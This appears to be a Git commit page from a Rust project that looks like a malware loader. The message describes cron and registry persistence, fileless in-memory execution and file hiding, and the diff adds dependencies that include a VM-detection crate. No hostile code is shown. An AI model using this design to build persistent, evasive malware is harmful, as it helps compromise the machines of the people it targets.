Add cross-platform support for Linux and Windows
- Implement conditional compilation for platform-specific dependencies - Add Linux persistence via cron jobs as alternative to Windows registry - Create cross-platform fileless execution (memexec for Windows, temp file + exec for Linux) - Support platform-specific paths and file hiding mechanisms - Maintain full Windows compatibility while adding Linux support
This commit is contained in:
@@ -8,5 +8,10 @@ edition = "2021"
|
||||
[dependencies]
|
||||
inside-vm = "0.2.0"
|
||||
aes = "0.8.2"
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
memexec = "0.2"
|
||||
winreg = "0.9"
|
||||
|
||||
[target.'cfg(unix)'.dependencies]
|
||||
libc = "0.2"
|
||||
|
||||
Reference in New Issue
Block a user